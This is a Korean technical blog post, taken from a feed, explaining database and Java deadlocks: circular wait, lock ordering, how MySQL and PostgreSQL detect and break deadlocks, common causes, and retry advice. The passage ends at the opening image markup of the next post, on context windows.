&lt;p&gt;멈춘 게 아닙니다. &lt;strong&gt;서로를 기다리고 있는 겁니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — 데드락은 &lt;strong&gt;고리&lt;/strong&gt;입니다. T1이 T2를 기다리고, T2가 다시 T1을 기다리면 둘 다 영원히 못 갑니다. 그리고 이 고리는 &lt;strong&gt;락을 거는 순서만 통일하면&lt;/strong&gt; 만들어지지 않습니다.&lt;/p&gt;
&lt;p&gt;고리가 만들어지고 풀리는 과정을 눈으로 보고 싶으시면 &lt;strong&gt;50초짜리 영상&lt;/strong&gt;으로도 정리했습니다. 락 순서를 통일하는 순간 고리가 줄로 펴지는 장면까지 따라갑니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/reVv72rkIsM&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 95.34883720930232%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAIAAAAf7rriAAAACXBIWXMAAAAAAAAAAAHqZRakAAADOUlEQVR42lWTi2vbVhTG/Qe0tSTrca+k+9LTki3J8iOWlTQk25ouaejiNC1rS2GPQtlYx1aywNbAoOwP3yc5Yxscrg9Gv3u+851zB+HQjTSa6G6suZnuFyOeG7wciQph/hvTkcgMPumCjXWv/54OoiGNe3hu8i9pcEbkIVH4ujB5Zd3FxOQPneCcqJUle95PdS/W6QAkIjf870VyM53fNoe/xZMtSw6oesriC54cuSGS63H11/7xdzItOxVQB97tYd0tDP8Hld7k9afDRx/T8huVnfnxlqeXIj1nybswv53Wnz47fR9kC0sCnowYincwfnDTCQ2+lek7EV+JpKFq5siFoxZOsCRB7ajnIv01SB97EZqHI4CzHQwDpiOW6Hxly8d+lFl8RVRDgpZG+zTG2dBgjwRbkRa2qK0O3ikfoO8dDCeOSfDEjypb4NOGhi2ND9wE0ecBWqhtMbO6QQDO/gtjQidu+A+seiACieLIIeSVHK+JrEz+v8roedLD+7Y67WHIXvfFN53mEPmGBHC+q2zeycZSDHZDxjWZwXbw1OJLIpdELYiCfpB90nlWomGsQG/YeGcYYGSVyd6q8XU8gfjKEnuOxIQ3RKHalic/hvmHePJWZUdEQePdnLFhgAPNPbHFbb3+ePjojzD/Wo4BvFHjFyL9iifXUf77rPnziycf0uKZHyWQ2W/oINRcLEmkuyuL/RTlN/nsyo/nlsQy1Dhtify1SH6Jpz9n1fsoxzokuoeyoAZCcyPDiw0fZ22y1hZ5t0BdY6UpC1NOTTgsj0hwSoO1xdOupoe3FOJhrDoPOEaPUnNHFnghhjfX6FL35kO61NyF7i4Mr3xA5iO2MPnCZHPTR3QbdsliyGsctcHF8KZuL+v25eb42ax51Rxd1ZsXy4NtuXrdHn8uktbyW4c1Nmvx2jDnCx6hIFzFJNe2PM0XZ/ni+erh08nyat5elKvLau88m21ne0cs3Fj+xuKNyVuTVaiMSWCZC1uWCLwYgxUGm2oeLi41Wmqk0AiSYkgqw5uN/O5/3Sth2JAOHM11Dd8bMTZi3ODC4NJgSmeB7ge6pzRXDRFU9iEeUHGfsPuOf89x7zl/A4A2qtldawVPAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/1dce727549f35d2f72082afa53ebf333/a1b3b/video-thumb.webp 215w,
/static/1dce727549f35d2f72082afa53ebf333/fc700/video-thumb.webp 430w,
/static/1dce727549f35d2f72082afa53ebf333/521f7/video-thumb.webp 860w,
/static/1dce727549f35d2f72082afa53ebf333/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/1dce727549f35d2f72082afa53ebf333/f7886/video-thumb.png 215w,
/static/1dce727549f35d2f72082afa53ebf333/bc750/video-thumb.png 430w,
/static/1dce727549f35d2f72082afa53ebf333/3e3fe/video-thumb.png 860w,
/static/1dce727549f35d2f72082afa53ebf333/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/1dce727549f35d2f72082afa53ebf333/3e3fe/video-thumb.png&apos; alt=&apos;데드락 영상 — 순환 대기가 생기고 락 순서를 통일하면 풀린다&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;데드락 영상 — 순환 대기가 생기고 락 순서를 통일하면 풀린다&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;어떻게 생기나&lt;/h2&gt;
&lt;p&gt;계좌 이체가 교과서 사례입니다. 두 요청이 동시에 들어옵니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;T1: A → B 로 이체
T2: B → A 로 이체&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;각자 출금 계좌부터 잠급니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시각&lt;/th&gt;
&lt;th&gt;T1&lt;/th&gt;
&lt;th&gt;T2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;A 잠금&lt;/strong&gt; 성공&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;B 잠금&lt;/strong&gt; 성공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;B 잠금 시도 → &lt;strong&gt;대기&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A 잠금 시도 → &lt;strong&gt;대기&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;T2가 B를 놓기를 기다림&lt;/td&gt;
&lt;td&gt;T1이 A를 놓기를 기다림&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;T1은 T2를, T2는 T1을 기다립니다.&lt;/strong&gt; 아무도 자기가 쥔 걸 놓지 않으니 영원히 안 풀립니다.&lt;/p&gt;
&lt;p&gt;여기서 중요한 건 &lt;strong&gt;둘 다 정상적인 코드&lt;/strong&gt;라는 점입니다. 버그가 없습니다. 순서만 엇갈렸습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;네 가지 조건 — 그중 하나만 깨면 된다&lt;/h2&gt;
&lt;p&gt;데드락은 아래 넷이 &lt;strong&gt;동시에&lt;/strong&gt; 성립할 때만 생깁니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;조건&lt;/th&gt;
&lt;th&gt;뜻&lt;/th&gt;
&lt;th&gt;실무에서 깰 수 있나&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;상호 배제&lt;/td&gt;
&lt;td&gt;한 번에 하나만 쓸 수 있다&lt;/td&gt;
&lt;td&gt;✗ 락의 존재 이유&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;점유와 대기&lt;/td&gt;
&lt;td&gt;쥔 채로 다음 걸 기다린다&lt;/td&gt;
&lt;td&gt;△ 어렵다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비선점&lt;/td&gt;
&lt;td&gt;남의 것을 뺏을 수 없다&lt;/td&gt;
&lt;td&gt;✗ DB가 정한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;순환 대기&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;기다림이 고리를 이룬다&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;○ 여기를 깬다&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;앞의 셋은 락이라는 장치의 성질이라 우리가 못 바꿉니다. &lt;strong&gt;실무에서 손댈 수 있는 건 순환 대기 하나뿐입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;그리고 고리를 없애는 방법은 단순합니다 — &lt;strong&gt;모두가 같은 순서로 잠그면 됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;T1: A 잠금 → B 잠금
T2: A 잠금 → (T1이 놓을 때까지 대기) → B 잠금&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;T2는 기다리지만 &lt;strong&gt;T1은 안 기다립니다.&lt;/strong&gt; 고리가 아니라 줄입니다. 줄은 언젠가 끝납니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;DB는 이걸 어떻게 처리하나&lt;/h2&gt;
&lt;p&gt;다행히 DB가 알아서 끊어 줍니다. 다만 &lt;strong&gt;끊는 방식이 다릅니다.&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;DB&lt;/th&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MySQL (InnoDB)&lt;/td&gt;
&lt;td&gt;대기 그래프에서 고리를 &lt;strong&gt;즉시 탐지&lt;/strong&gt;하고 한쪽을 롤백합니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PostgreSQL&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;deadlock_timeout&lt;/code&gt;(기본 1초)만큼 기다린 뒤 검사해서 한쪽을 중단합니다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;MySQL은 &lt;strong&gt;작업량이 적은 쪽&lt;/strong&gt;(변경한 행이 적은 트랜잭션)을 골라 롤백합니다. 그쪽이 되돌리기 싸니까요.&lt;/p&gt;
&lt;p&gt;에러를 받은 쪽은 이렇게 나옵니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;MySQL       ERROR 1213 (40001): Deadlock found when trying to get lock
PostgreSQL  ERROR: deadlock detected (SQLSTATE 40P01)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;40001&lt;/code&gt;은 &quot;다시 시도하면 될 수도 있다&quot;는 뜻의 표준 에러 클래스입니다.&lt;/strong&gt; 그래서 데드락은 &lt;strong&gt;재시도가 정상적인 대응&lt;/strong&gt;입니다. 로직 버그처럼 500으로 던지지 마세요.&lt;/p&gt;
&lt;p&gt;직전 데드락의 전문은 이렇게 봅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- MySQL&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SHOW&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ENGINE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INNODB&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;STATUS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;-- LATEST DETECTED DEADLOCK 절&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;실무에서 자주 만드는 네 가지&lt;/h2&gt;
&lt;h3&gt;1. 락 순서가 코드마다 다르다&lt;/h3&gt;
&lt;p&gt;가장 흔합니다. 위의 이체 사례가 그대로입니다. 어떤 메서드는 A→B로, 다른 메서드는 B→A로 잠급니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;고치는 법 — 순서를 규칙으로 못 박습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 항상 id 가 작은 쪽을 먼저 잠근다&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;long&lt;/span&gt; first  &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fromId&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; toId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;long&lt;/span&gt; second &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fromId&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; toId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

accountRepo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;lockById&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;first&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
accountRepo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;lockById&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;second&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;무엇을 기준으로 삼든 상관없습니다. &lt;strong&gt;모두가 같은 기준을 쓰기만 하면&lt;/strong&gt; 고리가 안 생깁니다.&lt;/p&gt;
&lt;h3&gt;2. 인덱스 없는 UPDATE&lt;/h3&gt;
&lt;p&gt;이건 덜 알려져 있는데 효과가 큽니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;UPDATE&lt;/span&gt; orders &lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;status&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;X&apos;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; user_email &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;a@b.c&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;user_email&lt;/code&gt;에 인덱스가 없으면 InnoDB는 &lt;strong&gt;훑는 행마다 락을 겁니다.&lt;/strong&gt; 한 행만 바꾸려던 쿼리가 훨씬 넓은 범위를 잠그고, 그만큼 다른 트랜잭션과 부딪힐 면적이 커집니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;인덱스는 성능만의 문제가 아닙니다. 락 범위를 좁히는 장치이기도 합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3. 트랜잭션이 길다&lt;/h3&gt;
&lt;p&gt;락은 트랜잭션이 끝나야 풀립니다. 트랜잭션 안에 외부 API 호출이나 파일 처리가 들어 있으면 그동안 계속 쥐고 있습니다. 부딪힐 시간이 길어지니 데드락 확률도 같이 올라갑니다.&lt;/p&gt;
&lt;h3&gt;4. 외래 키&lt;/h3&gt;
&lt;p&gt;자식 행을 INSERT 하면 InnoDB가 &lt;strong&gt;부모 행에 공유 락&lt;/strong&gt;을 겁니다. 코드에 락을 건 적이 없어도 락이 생깁니다. 여러 자식이 같은 부모를 참조하면서 순서가 엇갈리면 데드락이 납니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;애플리케이션 데드락도 같은 원리입니다&lt;/h2&gt;
&lt;p&gt;DB만의 이야기가 아닙니다. 자바에서도 똑같이 납니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 스레드 1&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;synchronized&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;synchronized&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;b&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 스레드 2  ← 순서가 반대다&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;synchronized&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;b&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;synchronized&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;그리고 이쪽이 더 위험합니다.&lt;/strong&gt; DB는 탐지해서 끊어 주지만, &lt;strong&gt;JVM은 안 끊어 줍니다.&lt;/strong&gt; 두 스레드가 영원히 멈춰 있고 재시작 말고는 답이 없습니다.&lt;/p&gt;
&lt;p&gt;발견은 스레드 덤프로 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;jcmd &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pid&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; Thread.print &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-A5&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Found one Java-level deadlock&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기서도 답은 같습니다 — &lt;strong&gt;잠그는 순서를 통일하세요.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리 — 순서대로 볼 것&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;에러 코드를 봅니다.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;40001&lt;/code&gt; 계열이면 데드락이고, 재시도가 정상 대응입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;SHOW ENGINE INNODB STATUS&lt;/code&gt;로 어느 두 쿼리가 물렸는지 봅니다&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;그 둘의 락 순서를 맞춥니다.&lt;/strong&gt; 대부분 여기서 끝납니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;안 끝나면 인덱스를 봅니다.&lt;/strong&gt; 훑는 범위가 넓으면 락도 넓습니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;재시도는 넣되, 원인을 덮는 용도로 쓰지 마세요&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;데드락과 락 대기(lock wait timeout)는 다른가요?&lt;/h3&gt;
&lt;p&gt;다릅니다. &lt;strong&gt;락 대기&lt;/strong&gt;는 앞사람이 끝나면 풀립니다 — 그냥 느린 겁니다. &lt;strong&gt;데드락&lt;/strong&gt;은 고리라서 기다려도 안 풀립니다. 그래서 DB가 강제로 하나를 죽입니다. &lt;code class=&quot;language-text&quot;&gt;Lock wait timeout exceeded&lt;/code&gt;(1205)를 보고 데드락으로 오해하는 경우가 많은데, 그건 긴 트랜잭션 문제입니다.&lt;/p&gt;
&lt;h3&gt;재시도만 넣으면 되지 않나요?&lt;/h3&gt;
&lt;p&gt;재시도는 &lt;strong&gt;필요하지만 충분하지 않습니다.&lt;/strong&gt; 데드락이 잦으면 그만큼 롤백된 작업이 버려지고 응답이 느려집니다. 재시도는 안전망이고, 락 순서를 맞추는 게 해결입니다. 그리고 재시도할 때는 &lt;strong&gt;약간의 지연을 두고&lt;/strong&gt; 하세요 — 즉시 재시도하면 같은 충돌이 반복됩니다.&lt;/p&gt;
&lt;h3&gt;격리 수준을 낮추면 데드락이 줄어드나요?&lt;/h3&gt;
&lt;p&gt;줄어들 수 있지만 권할 방법이 아닙니다. MySQL에서 REPEATABLE READ를 READ COMMITTED로 낮추면 갭 락이 줄어 충돌 면적이 작아지긴 합니다. 다만 &lt;a href=&quot;/transaction-isolation-levels/&quot;&gt;격리 수준&lt;/a&gt;을 낮추면 다른 이상 현상이 새로 들어옵니다. &lt;strong&gt;데드락을 고치려고 정확성을 파는 셈&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h3&gt;락을 아예 안 쓰면 안 되나요?&lt;/h3&gt;
&lt;p&gt;낙관적 락(버전 확인)으로 바꾸면 데드락은 사라집니다. 대신 충돌 시 실패하므로 &lt;strong&gt;재시도 로직이 필수&lt;/strong&gt;가 되고, 충돌이 잦은 자원에서는 오히려 처리량이 떨어집니다. 충돌이 드물면 낙관적 락, 잦으면 비관적 락 + 순서 통일이 정석입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리하며&lt;/h2&gt;
&lt;p&gt;데드락은 &lt;strong&gt;고리&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;네 조건이 동시에 성립할 때만 생기고, 그중 &lt;strong&gt;깰 수 있는 건 순환 대기 하나&lt;/strong&gt;입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;모두가 같은 순서로 잠그면&lt;/strong&gt; 고리가 줄이 됩니다. 줄은 끝납니다&lt;/li&gt;
&lt;li&gt;인덱스가 없으면 락 범위가 넓어져 부딪힐 면적이 커집니다&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;40001&lt;/code&gt;은 재시도하라는 뜻입니다. 다만 재시도는 안전망이지 해결이 아닙니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JVM 데드락은 아무도 안 끊어 줍니다.&lt;/strong&gt; 여기가 DB보다 위험합니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;데드락 잡아 보신 적 있으신가요? 원인이 락 순서였나요, 아니면 다른 것이었나요?&lt;/p&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.4/en/innodb-deadlocks.html&quot;&gt;MySQL — Deadlocks in InnoDB&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/explicit-locking.html#LOCKING-DEADLOCKS&quot;&gt;PostgreSQL — Explicit Locking / Deadlocks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/javase/tutorial/essential/concurrency/deadlock.html&quot;&gt;Oracle Java Tutorials — Deadlock&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[컨텍스트 윈도우란? — 다 넣었는데 가운데를 놓치는 이유]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 문서 10…]]></description><link>https://blog.javapark.kr/context-window-explained/</link><guid isPermaLink="false">https://blog.javapark.kr/context-window-explained/</guid><pubDate>Sun, 23 Aug 2026 01:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/86eab1d0139d5600c81a55639700743d/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACSklEQVR42hVRa2/SYBitTqG3t317b9/e6L3QjrYwYDJgYNimYLboootjbCGTzQ+aePnkFxNj4u/2JTkfnvMk5zzn5CFqQKIVW3QSHgV1TsEgRYNSG4wZM24Gwg6XDvjsiN8f75AdYQqCinFzGkVEjZVIlGjVMYyqJyS/R8E9oDyXHcpKQFBySZ/Px7Ccwc4cVnM88PkIJH3WLxi7STyl4PL88s/ff7eb7eru/v7xy49fvz99/VlOFzUnh9kQFsdC91TqLeX+EpZz0ByxQY/1SpyLeEaLxeFkcbU+ffuhHM6ancMXLxcHswXKB7Rf7QK3p/r4Ilht0bu1dX6Fzi7QyVLojhi7RTwHSrfZ+fz6/fV0OYlLDxp7tETwqI4SFsduHnL7E330ZvLte/nw6N3eBatVtb7xBjPaSgmS1xpGMPDyftjuRUWVVLITK2EhxR0lH6rlMZsNrf7Z+nJ78uqj3J0L7QneS2mPtlOChkgMClRNxKQLzFBwEogC0W0pUalnA5j0QNwXD2bW5sa9v022m/xh07y7hq0DyogIVrD0uNc6WhrpQHNS5Gec6nKGr/i5Epak3cTfAlGXS/taNVWLiVaMhahDo5jSfYKXPSDYFDAY3mSgSQIdF6nzek0065rHWCnjtFivDfyCbuzTTkZaKWmEWFmXbUJQA0mPJSOBasBJLivZtIB2eqiTsk1pDQqFtJkwNnZJsRdtRsCKGa1RgxoharHhtpFXSkaMxUC0GQFR+DKn1Hi1jo1km1RdUm3soDiYQjPE1WpA/g8JSl/ePBthcgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/86eab1d0139d5600c81a55639700743d/a1b3b/thumbnail.webp 215w,
/static/86eab1d0139d5600c81a55639700743d/fc700/thumbnail.webp 430w,
/static/86eab1d0139d5600c81a55639700743d/521f7/thumbnail.webp 860w,
